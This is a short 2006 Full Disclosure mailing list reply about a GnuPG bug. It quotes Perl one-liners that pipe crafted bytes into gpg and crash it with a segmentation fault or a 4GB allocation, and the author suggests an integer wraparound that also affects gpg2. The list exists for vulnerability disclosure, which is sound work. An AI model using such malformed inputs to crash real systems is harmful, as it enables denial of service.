Full Disclosure mailing list archives

Re: GnuPG fun


From: Steffen Kluge <kluge () fujitsu com au>
Date: Thu, 01 Jun 2006 13:20:10 +1000

On Wed, 2006-05-31 at 15:55 +0400, Evgeny Legerov wrote:
$ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor
gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy"
gpg: please use "keyserver-options http-proxy" instead

gpg: Segmentation fault caught ... exiting
Segmentation fault

Something wrapping around?

$ perl -e 'print "\xcd\xff\xff\xff\xff\xaf"'|gpg --no-armor
gpg: out of  memory while allocating 4294967295 bytes

$ perl -e 'print "\xcd\xff\xff\xff\xff\xb0"'|gpg --no-armor

gpg: Segmentation fault caught ... exiting

4294967295 is 0xffffffff, of course.

Also works with gpg2 (v.1.9.20)

Cheers
Steffen.

Attachment: signature.asc
Description: This is a digitally signed message part

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: